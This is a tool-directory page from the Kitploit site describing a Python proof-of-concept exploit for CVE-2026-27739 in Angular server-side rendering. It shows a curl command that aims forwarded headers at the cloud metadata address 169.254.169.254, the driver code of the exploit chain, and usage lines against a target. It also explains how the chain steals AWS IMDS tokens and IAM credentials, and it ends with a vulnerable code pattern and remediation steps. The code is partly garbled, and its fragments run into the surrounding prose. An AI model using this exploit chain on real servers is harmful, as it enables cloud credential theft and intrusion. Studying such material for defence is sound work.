Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-27739-POC — Python PoC exploiting CVE-2026-27739 in Angular SSR: header injection via prototype pollution and SSRF chaining to AWS IMDS/GCP metadata for credential theft. | Kitploit
Tools/GitHubGitHub/mr-redoo7/cve-2026-27739-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration TestingAPI Security
GitHubmr-redoo7/cve-2026-27739-poc

CVE-2026-27739-POC

Python PoC exploiting CVE-2026-27739 in Angular SSR: header injection via prototype pollution and SSRF chaining to AWS IMDS/GCP metadata for credential theft.

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

-CVE-2026-27739-poc

curl -H "X-Forwarded-For: http://169.254.169.254/latest/meta-data/" {self.target}

2. Header Injection via Prototype Pollution (CVSS: 7.5)

Description: Angular SSR processes unsafe query parameters affecting prototype chain Impact: Request header manipulation, potential SSRF chaining

Remediation

  1. Remove/disable X-Forwarded-* header processing or whitelist known proxies
  2. Implement strict URL validation before SSRF-prone operations
  3. Use express-validator or similar for header sanitization
  4. Disable AWS/GCP metadata endpoints or use IMDSv2 with hop limit """ print(report) with open("angular_ssr_exploit_report.txt", "w") as f: f.write(report)

def main(): parser = argparse.ArgumentParser(description="Angular SSR SSRF & Header Injection Exploit") parser.add_argument("target", help="Target Angular SSR application URL") parser.add_argument("--no-ssl-verify", action="store_true", help="Disable SSL verification")

root@kitploit:~
args = parser.parse_args()

exploit = AngularSSRExploit(args.target, ssl_verify=not args.no_ssl_verify)

print(f"[+] Targeting: {args.target}")
print(f"[+] SSL Verify: {'Disabled' if args.no_ssl_verify else 'Enabled'}")

# Execute exploit chain
exploit.test_header_injection()
exploit.exploit_ssrf_chain()
exploit.extract_sensitive_data()
exploit.generate_report()

if name == "main": main() Usage bash

Basic SSRF test

python3 angular_ssr_exploit.py https://target.com

With SSL bypass for self-signed certs

python3 angular_ssr_exploit.py https://target.com --no-ssl-verify How It Works Header Injection Test: Sends prototype pollution payloads and unsafe forwarded headers that Angular SSR might process insecurely SSRF Chain: Tests access to AWS IMDS, GCP metadata, localhost services via X-Forwarded-For/X-Original-URL IMDSv2 Token Extraction: Chains SSRF to steal AWS metadata tokens then IAM credentials Automated Reporting: Generates CVSS-scored pentest report with PoCs Technical Details Root Cause: Angular Universal SSR apps often forward req.headers directly to internal APIs without sanitization:

javascript

// Vulnerable Angular SSR pattern app.get('*', (req, res) => { const url = req.headers['x-original-url'] || req.originalUrl; // SSRF internalFetch(url, { headers: req.headers }); // Header injection });

Download Tool